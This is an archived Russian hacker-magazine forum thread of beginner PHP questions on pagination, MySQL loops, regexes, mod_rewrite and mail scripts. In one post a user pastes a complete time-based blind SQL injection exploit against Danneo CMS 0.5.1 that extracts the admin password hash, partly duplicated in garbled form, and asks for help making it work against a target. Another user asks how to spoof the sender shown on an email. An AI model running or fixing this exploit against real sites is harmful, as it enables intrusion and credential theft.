Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

RE: Вопросы по PHP (для новичков)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> RE: Вопросы по PHP (для новичков)
Имя
Сообщение << Старые топики   Новые топики >>
RE: Вопросы по PHP (для новичков) - 2009-02-12 14:25:12.253333   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
народ подскажите алгоритм написаня полоски навигации по статьям если известна текущая страница и общее количество страниц
Post #: 521
RE: Вопросы по PHP (для новичков) - 2009-02-12 15:32:54.980000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
всё не актуально.. придумал сам :)
вот если кому интересно
quote:


$count= считаем количество элементов в базе
if(isset($_POST['page'])) $this_page=$_POST['page']; else $this_page=1;
$i=$this_page-3;
while ($i&lt;=$this_page+1)
{
$i++;
if($i&gt;0)if($i&lt;=$count)
if($i!=$this_page) $content .= "&lt;input type=\"submit\" name=\"page\" value=\"".$i."\" /&gt;&lt;input type=\"hidden\" name=\"s2\" value=\"".$_POST['s']."\"&gt;";
else $content .= "&nbsp;&nbsp;".$i."&nbsp;&nbsp;&lt;input type=\"hidden\" name=\"s2\" value=\"".$_POST['s']."\" /&gt;";
}
Post #: 522
RE: Вопросы по PHP (для новичков) - 2009-02-12 22:44:29.433333   
Фагот

Сообщений: 62
Оценки: 0
Присоединился: 2009-01-03 21:57:27.410000
Подскажите кто нибудь(или лучше дайте) как настроить файл конфигурации Apache 2.0.50. Не могу настроить все та же стартовая страница. PHP 5.2.8 MySQL 5.0.67 Аможет он с ХР2 конфликтует? Помогите плиз!!!!
Post #: 523
RE: Вопросы по PHP (для новичков) - 2009-02-12 23:36:08.076666   
Mamka

Сообщений: 560
Оценки: 0
Присоединился: 2007-11-26 22:20:09.313333

quote:

ORIGINAL: Фагот

Подскажите кто нибудь(или лучше дайте) как настроить файл конфигурации Apache 2.0.50. Не могу настроить все та же стартовая страница. PHP 5.2.8 MySQL 5.0.67 Аможет он с ХР2 конфликтует? Помогите плиз!!!!

что значит "все та же"?
Ты денвер или его аналоги ставил?
Post #: 524
RE: Вопросы по PHP (для новичков) - 2009-02-12 23:56:12.366666   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
народ как можно перезалить файлы с одного хостинга на другой через хттп протокол?
мне ндао просто както с чужого хостинга на свой перетягивать файлы
думаюкакто просто это делается.. можете скриптиком поделиться таким?:)
Post #: 525
RE: Вопросы по PHP (для новичков) - 2009-02-13 00:27:07.753333   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
http://forum.xakep.ru/m_1379288/tm.htm
Post #: 526
RE: Вопросы по PHP (для новичков) - 2009-02-13 05:53:13.760000   
Панда

Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000
wget :)
Post #: 527
RE: Вопросы по PHP (для новичков) - 2009-02-13 10:28:15.913333   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
Pashkela
спс :) +1
Post #: 528
RE: Вопросы по PHP (для новичков) - 2009-02-15 16:30:30.263333   
Juvirez

Сообщений: 1
Оценки: 0
Присоединился: 2009-01-17 22:57:30.253333
подскажите, пожалуйста, как осуществить следующую вещь:
имеется некая форма на внешнем сайте, в которой есть поле проверки по коду на картинке(которая генерируется пхп кодом)
нужно создать аналог этой формы на локальном сайте (чтобы пользователь не имея доступа ко внешке мог этим пользоваться)
- как сделать отправку данных формы методом get сервером?
- как осуществить подтверждение кода?
Post #: 529
RE: Вопросы по PHP (для новичков) - 2009-02-15 20:12:20.010000   
mescalineway

Сообщений: 2
Оценки: 0
Присоединился: 2009-02-07 17:24:31.283333
Есть База Данных
id name position club 1 Alex Del Piero Forvard Juventus 2 Wane Roony Centerf MU 3 Franchesco Toldo Goalkeaper Inter
Есть Код
$db = mysql_connect("localhost","login","password"); mysql_select_db("firstbd", $db); $result = mysql_query("SELECT * FROM igroki", $db); $myrow = mysql_fetch_array($result); do { echo "Игрок".$myrow['id']."&lt;br&gt;"; echo $myrow['name']."&lt;br&gt;"; echo $myrow['position']."&lt;br&gt;"; echo $myrow['club']."&lt;br&gt;"; } while (mysql_fetch_array($result)); ?&gt;
Когда вывожу результат получаю
Игрок1 Alex Del Piero Forvard Juventus Игрок1 Alex Del Piero Forvard Juventus Игрок1 Alex Del Piero Forvard Juventus
Почему Игрок1 продублирован три раза, хотя по идее должен выводиться второй и третий игрок.

В базе данных(вкладка SQL) есть запись "SELECT * FROM `igroki` WHERE 1" - может из-за этого WHERE 1 ???

Post #: 530
RE: Вопросы по PHP (для новичков) - 2009-02-15 20:20:35.806666   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
Потому что переменная $myrow не меняется.
Замени
do
{
echo "Игрок".$myrow['id']."&lt;br&gt;";
echo $myrow['name']."&lt;br&gt;";
echo $myrow['position']."&lt;br&gt;";
echo $myrow['club']."&lt;br&gt;";
}
while (mysql_fetch_array($result));
на
while ($myrow=mysql_fetch_array($result))
{
echo "Игрок".$myrow['id']."&lt;br&gt;";
echo $myrow['name']."&lt;br&gt;";
echo $myrow['position']."&lt;br&gt;";
echo $myrow['club']."&lt;br&gt;";
}

Post #: 531
RE: Вопросы по PHP (для новичков) - 2009-02-15 23:04:44.460000   
Фагот

Сообщений: 62
Оценки: 0
Присоединился: 2009-01-03 21:57:27.410000
quote:

&lt;?php
if(empty($_POST['mail_to'])) exit("Введите адрес получателя");

$pattern = "/^[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,6}$/i";
if (!preg_match($pattern, $_POST['mail_to']))
{
exit("Введите адрес в виде somebоdу@server.com");
}
$_POST['mail_to'] = htmlspecialchars(stripslashes($_POST['mail_to']));
$_POST['mail_subject'] =
htmlspecialchars(stripslashes($_POST['mail_subject']));
$_POST['mail_msg'] =
htmlspecialchars(stripslashes($_POST['mail_msg']));
$picture = "";

if (!empty($_FILES['mail_file']['tmp_name']))
{
$path = $_FILES['mail_file']['name'];
if (copy($_FILES['mail_file']['tmp_name'], $path)) $picture = $path;
}
$thm = $_POST['mail_subject'];
$msg = $_POST['mail_msg'];
$mail_to = $_POST['mail_to'];
if(empty($picture)) mail($mail_to, $thm, $msg);
else send_mail($mail_to, $thm, $msg, $picture);
function send_mail($to, $thm, $html, $path)
{
$fp = fopen($path,"r");
if (!$fp)
{
print "Файл $path не может быть прочитан";
exit();
}
$file = fread($fp, filesize($path));
fclose($fp);

$boundary = "–".md5(uniqid(time()));
$headers .= "MIME-Version: 1.0\n";
$headers .="Content-Type: multipart/mixed; boundary=\"$boundary\"\n";
$multipart .= "–$boundary\n";
$kod = 'koi8-r'; // или $kod = 'windows-1251';
$multipart .= "Content-Type: text/html; charset=$kod\n";
$multipart .= "Content-Transfer-Encoding: Quot-Printed\n\n";
$multipart .= "$html\n\n";

$message_part = "–$boundary\n";
$message_part .= "Content-Type: application/octet-stream\n";
$message_part .= "Content-Transfer-Encoding: base64\n";
$message_part .= "Content-Disposition: attachment; filename = \"".$path."\"\n\n";
$message_part .= chunk_split(base64_encode($file))."\n";
$multipart .= $message_part."–$boundary–\n";

if(!mail($to, $thm, $multipart, $headers))
{
exit("К сожалению, письмо не отправлено");
}
}
echo "&lt;HTML&gt;&lt;HEAD&gt;
&lt;META HTTP-EQUIV='Refresh' CONTENT='0; URL=".$_SERVER['PHP_SELF']."'&gt;
&lt;/HEAD&gt;&lt;/HTML&gt;";
?&gt;

а как бы сделать так чтоб он вместо обратного адреса че нибудь другое показал типа "Письмо от президента" или еще чаго?
Post #: 532
RE: Вопросы по PHP (для новичков) - 2009-02-16 06:41:25.083333   
Панда

Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000
на кол попова!!
Post #: 533
RE: Вопросы по PHP (для новичков) - 2009-02-16 10:45:40.440000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
почитай в избранном там есть ссылка отправки через сокеты
Post #: 534
RE: Вопросы по PHP (для новичков) - 2009-02-16 18:36:37.576666   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
люди ктонить может дать линк на ман по разработке компонентов для джумлы?
Post #: 535
RE: Вопросы по PHP (для новичков) - 2009-02-16 18:48:05.163333   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
 http://joomla4all.ru/index.php?option=com_content&task=view&id=26&Itemid=32
http://cms-joomla.info/content/view/19/1/

Post #: 536
RE: Вопросы по PHP (для новичков) - 2009-02-17 00:41:38.150000   
Merovingian

Сообщений: 59
Оценки: 0
Присоединился: 2008-12-29 13:55:36.936666
Есть код:

quote:

&lt;?php
$db=mysql_connect("localhost","root","vertrigo");
mysql_select_db("mysite",$db);

$result=mysql_query("SELECT * FROM articles",$db);
$myrow=mysql_fetch_array($result);

echo ($result);
?&gt;


а выводит на экран "resource id#6", подскажите почему?
Post #: 537
RE: Вопросы по PHP (для новичков) - 2009-02-17 03:05:20.050000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
вместо

echo ($result);

хотя бы

print_r ($myrow);
Post #: 538
RE: Вопросы по PHP (для новичков) - 2009-02-18 13:32:47.276666   
mescalineway

Сообщений: 2
Оценки: 0
Присоединился: 2009-02-07 17:24:31.283333

quote:

ORIGINAL: Панда

на кол попова!!


Почему?
Post #: 539
RE: Вопросы по PHP (для новичков) - 2009-02-18 17:36:20.506666   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
как сделать поиск по базе через LIKE чтоб он был не чувствителен к регистру
Post #: 540
RE: Вопросы по PHP (для новичков) - 2009-02-18 17:55:03.103333   
Parano1d

Сообщений: 423
Оценки: 0
Присоединился: 2008-05-21 13:40:17.093333
можно использовать для хранения в бд тип *-ci (case insensitive)
http://www.webmasterworld.com/databases_sql_mysql/3425464.htm
http://www.opennet.ru/base/dev/mysql_pgsql_search.txt.html
Post #: 541
RE: Вопросы по PHP (для новичков) - 2009-02-18 18:23:47.800000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
о блин.. а у меня щас стоит cs ))) а я думал в чём же бок)
Post #: 542
RE: Вопросы по PHP (для новичков) - 2009-02-19 11:12:49.443333   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
люди подскажите пожалуйста выражение для модрэврайта ..
делаю так
<IfModule mod_rewrite.c>
RewriteEngine On
Options FollowSymLinks
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-l
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /index.php?inner=$1 [L,QSA]
</IfModule>

http://emi.dn.ua/material/
в результате когда делаю в коде индекса echo $_GET['inner'];
выдаёт 403.shtm вместо material
Post #: 543
RE: Вопросы по PHP (для новичков) - 2009-02-22 23:51:21.076666   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
Методом ПОСТ передаётся текст. Из него нужно выуживать ссылки, которые начинаются с http://, чтобы запихнуть в теги <a>…</a>

Честно говоря не знаю, как это реализовать. Адрес ссылки должен начинаться от http:// и заканчиваться на ближайшем пробеле. Как это реализовать?
Post #: 544
RE: Вопросы по PHP (для новичков) - 2009-02-23 00:27:23.560000   
koro

Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
$pst = $_POST['ss'];
preg_math("/(http:\/\/[\w,\d,.,\?,=,]{1,})/", $pst, $out);
print_r($out);

давно не писал под пхп, но что-то на подобии

зы - скобки () не обязательны в твоём случае , они помогают выбирать из найденного

Post #: 545
RE: Вопросы по PHP (для новичков) - 2009-02-23 11:28:11.186666   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333

quote:

ORIGINAL: brtn

$pst = $_POST['ss'];
preg_matсh("/(http:\/\/[\w,\d,.,\?,=,]{1,})/", $pst, $out);
print_r($out);

давно не писал под пхп, но что-то на подобии

зы - скобки () не обязательны в твоём случае , они помогают выбирать из найденного

Всё отлично, но есть одно „но“: из строки вытаскивается только домен, например „http://domen.ru“ вместо „http://domen.ru/something“
Post #: 546
RE: Вопросы по PHP (для новичков) - 2009-02-23 11:42:10.973333   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Надо перебить регулярку так:
/(http:\/\/[\w\.\?\/=]+)\s/iU
Post #: 547
RE: Вопросы по PHP (для новичков) - 2009-02-23 11:56:17.613333   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
Спасибо, получилось :)

Следующий вопрос ниже…
Post #: 548
RE: Вопросы по PHP (для новичков) - 2009-02-23 12:54:33.426666   
zhuk

Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
Опять про массивы.

У меня есть большой массив $global, каждый элемент которого тоже является массивом. Для того, чтобы выбрать конечный элемент, я использую такой код:

$elem1 = $global[13];
$elem1 = $elem1[value];

Но проблема в том, что в конечном счёте мне нужно получить 20 элементов $elem1 … $elem20. Я подумал, что было бы неплохо их объединить в массив :) Нужно написать цикл, который будет выбирать элементы из большого массива $global по тому принципу и записывать в массив $elem. Из $global нужен каждый 13-й элемент: [13], [26] … [260], а из получившихся двадцати массивов элементы [value].

Я не знаю, как это сделать, поэтому прошу помощи :)

ЗЫ: надеюсь я понятно объяснил суть проблемы…




Уже не нужно, справился сам :) Была опечатка в переменной, поэтому не получалось…
Post #: 549
RE: Вопросы по PHP (для новичков) - 2009-02-26 15:28:25.120000   
FliX

Сообщений: 40
Оценки: 0
Присоединился: 2008-12-01 11:31:49.700000
Дарова народ:) у меня вот одна проблема8| не могу запустить на своем коне PHP эксплоит. выручайте пож-та
дело смерти и жизни.(крче установил се php 5.2 и хотел запустить через ком. строку сплоит указал там цель и тому подобное при том никаких синт. ошибок "Exploit failed") после этого устан. се php2.exe и конвертировал сплоит под екзешник запустил и тож не идет "Exploit failed" в чем дело? что я делаю не так? сплоит на дырку под Danneo CMS 0.5.1 и ниже. Может все дело в сайте то есть в моем целе (ну у него же стоит CMS 0.5.1 Danneo должно идти) чисто теоретически …….[:(] вот соответственно код сплоита:
<?php
## Danneo CMS <= 0.5.1 Remote Blind SQL Injection Exploit
## Software site: http://www.danneo.com/
## By InATeam (http://inattack.ru/)
## Requires "Referers statistics" option turned ON!

echo "————————————————————\n";
echo "Danneo CMS <= 0.5.1 Remote Blind SQL Injection Exploit\n";
echo "©oded by Raz0r, InATeam (http://inattack.ru/)\n";
echo "Requires \"Referers statistics\" option turned ON!\n";
echo "————————————————————\n";

if ($argc<2) {
   echo "USAGE:\n";
   echo "~~~~~~\n";
   echo "php {$argv[0]} &nbsp;&nbsp; echo "OPTIONS:\n";
&nbsp;&nbsp; echo "-p=&lt;prefix&gt;&nbsp;&nbsp;- use specific prefix\n";
&nbsp;&nbsp; echo "-id=&lt;id&gt;&nbsp;&nbsp;&nbsp;&nbsp; - use specific user id (default 1)\n";
&nbsp;&nbsp; echo "-c=&lt;count&gt;&nbsp;&nbsp; - benchmark()'s loop count (default 300000)\n";
&nbsp;&nbsp; echo "-v&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - verbose mode\n\n";
&nbsp;&nbsp; echo "tip:\n";
&nbsp;&nbsp; echo "use bigger number of &lt;count&gt; if server is slow\n\n";
&nbsp;&nbsp; echo "php {$argv[0]}
http://site.com/ -p=cms_\n";
&nbsp;&nbsp; echo "php {$argv[0]} http://cms.site.com:8080/ -id=2\n";
&nbsp;&nbsp; die;
}

error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",25);
$url = $argv[1];
for($i=2;$i&lt;$argc;$i++) {
&nbsp;&nbsp; if(strpos($argv[$i],"=")!=false) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $exploded=explode("=",$argv[$i]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($exploded[0]=='-p') $prefix = $exploded[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($exploded[0]=='-id') $id = $exploded[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($exploded[0]=='-c') $benchmark = $exploded[1];
&nbsp;&nbsp; }
&nbsp;&nbsp; elseif($argv[$i] == '-v') $verbose=true;
}
if (!isset($id)) $id = 1;
if (!isset($benchmark)) $benchmark = 300000;
if (!isset($verbose)) $verbose=false;
$url_parts = parse_url($url);
$host = $url_parts['host'];
$port = (isset($url_parts['port']) ? $url_parts['port'] : 80);
$path = $url_parts['path'];
$query_pattern&nbsp;&nbsp; = "-99' OR IF(%s,BENCHMARK(%d,MD5(31337)),1)/*";
$verbose_pattern = "%-12s %2d: %s";
print "[~] Testing probe delays…\n";
$ok=true; $nodelay=0; $withdelay=0;
for ($i=1;$i&lt;=3;$i++){
&nbsp;&nbsp; $query = sprintf($query_pattern, "1=1", 1);
&nbsp;&nbsp; $fdelay = dorequest($query,false,true);
&nbsp;&nbsp; if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;}
&nbsp;&nbsp; $query = sprintf($query_pattern, "1=1", $benchmark);
&nbsp;&nbsp; $sdelay = dorequest($query,false,true);
&nbsp;&nbsp; if ($sdelay!==false) $withdelay+=$sdelay;&nbsp;&nbsp;else {$ok=false;break;}
&nbsp;&nbsp; if ($sdelay&lt;=($fdelay*2)) {$ok=false;break;}
&nbsp;&nbsp; usleep($benchmark/1000); $delay=false;
}
if ($ok) {
&nbsp;&nbsp; $nondelayed = $nodelay/3;
&nbsp;&nbsp; print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs\n";
&nbsp;&nbsp; $delayed = $withdelay/3;
&nbsp;&nbsp; print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs\n";
}
else die("[-] Exploit failed\n");

if (isset($GLOBALS['version'])) {
&nbsp;&nbsp; echo "[+] Version {$GLOBALS['version']} has been detected\n";
&nbsp;&nbsp; $v = str_replace(".","",$GLOBALS['version']);
}
if (isset($prefix)) {$usedprefix = $prefix; echo "[~] Using prefix $prefix\n";}
elseif (isset($v)) {$usedprefix = "dn{$v}_"; echo "[~] Using prefix dn{$v}_\n";}
else {$usedprefix = "dn_"; echo "[~] Using prefix dn_\n";}

print "&nbsp;&nbsp;&nbsp;&nbsp;Getting hash…";
if ($verbose) {print "\r[~]"; print "\n";}
$hash='';
for($i=1; $i&lt;=32; $i++) {
&nbsp;&nbsp; $chr = gethashchar($i);
&nbsp;&nbsp; if($chr!==false) $hash .= $chr;
&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $chr = gethashchar($i);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($chr !==false)$hash .= $chr;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else die("\n[-] Exploit failed\n");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp; }
if (!$verbose) {print "\r[~]"; print "\n";}
print "[+] Result: {$hash}\n";

function gethashchar ($pos) {
&nbsp;&nbsp; global $query_pattern,$verbose_pattern,$usedprefix,$id,$benchmark,$verbose;
&nbsp;&nbsp; $inj = "ORD(SUBSTRING((SELECT adpwd FROM {$usedprefix}admin WHERE admid={$id}),{$pos},1))";
&nbsp;&nbsp; $query = sprintf($query_pattern, $inj."&gt;57", $benchmark*4);
&nbsp;&nbsp; $success = condition($query);
&nbsp;&nbsp; if (!$success) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [0-9]\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $min = 48;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $max = 57;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [a-f]\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $min = 97;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $max = 102;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp; for($i=$min;$i&lt;=$max;$i++) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $query = sprintf($query_pattern, $inj."=".$i, $benchmark*4);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $success = condition($query);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($success) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $query = sprintf($query_pattern, $inj."&lt;&gt;".$i, $benchmark*4);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $recheck = condition($query);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!$recheck) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $chr = chr($i);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is {$chr}\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return $chr;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp; }
&nbsp;&nbsp; return false;
}
function condition($query) {
&nbsp;&nbsp; global $delayed,$benchmark,$verbose,$verbose_pattern;
&nbsp;&nbsp; for($attempt = 1; $attempt &lt;= 10; $attempt++){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $delay = dorequest($query,true);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($delay === false) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"error\n");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"success (delay is ".sprintf("%-3d",$delay)." dsecs)\n");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp; }
&nbsp;&nbsp; if ($attempt == 10) die("[-] Exploit failed\n");
&nbsp;&nbsp; if($delay &gt; ($delayed * 2)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; usleep(($benchmark*4)/1000);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return true;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp; return false;
}
function dorequest($query,$gethash=false,$getversion=false) {
&nbsp;&nbsp; global $host,$port,$path,$verbose;
&nbsp;&nbsp; if ($gethash&amp;&amp;!$verbose) status();
&nbsp;&nbsp; $start = getmicrotime();
&nbsp;&nbsp; $s = fsockopen(gethostbyname($host),$port);
&nbsp;&nbsp; if (!$s) return false;
&nbsp;&nbsp; else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet&nbsp;&nbsp;= "GET {$path}index.php HTTP/1.0\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "Host: {$host}\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "User-Agent: InAttack User Agent\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "Referer: {$query}\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $packet .= "Connection: Close\r\n\r\n";
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fputs($s, $packet);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $html='';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (!feof($s)) $html.=fgets($s);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($getversion &amp;&amp; !isset($GLOBALS['version'])) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $out=array();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (preg_match("@&lt;META NAME=\"GENERATOR\" CONTENT=\"Danneo CMS ([^&gt;]+)\"&gt;@i",$html,$out)) $GLOBALS['version']=$out[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $end = getmicrotime();
&nbsp;&nbsp; }
&nbsp;&nbsp; return intval(($end-$start)*10);
}
function status() {
&nbsp;&nbsp; static $n;
&nbsp;&nbsp; $n++;
&nbsp;&nbsp; if ($n &gt; 3) $n = 0;
&nbsp;&nbsp; if($n==0){ print "\r[-]\r"; }
&nbsp;&nbsp; if($n==1){ print "\r[\\]\r";}
&nbsp;&nbsp; if($n==2){ print "\r[|]\r"; }
&nbsp;&nbsp; if($n==3){ print "\r[/]\r"; }
}
function getmicrotime() {return array_sum(explode(" ", microtime()));}
?&gt;

Выручауте пож-та ооочень прошу[:(]
">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;- target server where Danneo CMS is installed\n\n";
&nbsp;&nbsp; echo "OPTIONS:\n";
&nbsp;&nbsp; echo "-p=&lt;prefix&gt;&nbsp;&nbsp;- use specific prefix\n";
&nbsp;&nbsp; echo "-id=&lt;id&gt;&nbsp;&nbsp;&nbsp;&nbsp; - use specific user id (default 1)\n";
&nbsp;&nbsp; echo "-c=&lt;count&gt;&nbsp;&nbsp; - benchmark()'s loop count (default 300000)\n";
&nbsp;&nbsp; echo "-v&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - verbose mode\n\n";
&nbsp;&nbsp; echo "tip:\n";
&nbsp;&nbsp; echo "use bigger number of &lt;count&gt; if server is slow\n\n";
&nbsp;&nbsp; echo "php {$argv[0]} http://site.com/ -p=cms_\n";
&nbsp;&nbsp; echo "php {$argv[0]} http://cms.site.com:8080/ -id=2\n";
&nbsp;&nbsp; die;
}

error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",25);
$url = $argv[1];
for($i=2;$i&lt;$argc;$i++) {
&nbsp;&nbsp; if(strpos($argv[$i],"=")!=false) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $exploded=explode("=",$argv[$i]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($exploded[0]=='-p') $prefix = $exploded[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($exploded[0]=='-id') $id = $exploded[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ($exploded[0]=='-c') $benchmark = $exploded[1];
&nbsp;&nbsp; }
&nbsp;&nbsp; elseif($argv[$i] == '-v') $verbose=true;
}
if (!isset($id)) $id = 1;
if (!isset($benchmark)) $benchmark = 300000;
if (!isset($verbose)) $verbose=false;
$url_parts = parse_url($url);
$host = $url_parts['host'];
$port = (isset($url_parts['port']) ? $url_parts['port'] : 80);
$path = $url_parts['path'];
$query_pattern&nbsp;&nbsp; = "-99' OR IF(%s,BENCHMARK(%d,MD5(31337)),1)/*";
$verbose_pattern = "%-12s %2d: %s";
print "[~] Testing probe delays…\n";
$ok=true; $nodelay=0; $withdelay=0;
for ($i=1;$i&lt;=3;$i++){
&nbsp;&nbsp; $query = sprintf($query_pattern, "1=1", 1);
&nbsp;&nbsp; $fdelay = dorequest($query,false,true);
&nbsp;&nbsp; if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;}
&nbsp;&nbsp; $query = sprintf($query_pattern, "1=1", $benchmark);
&nbsp;&nbsp; $sdelay = dorequest($query,false,true);
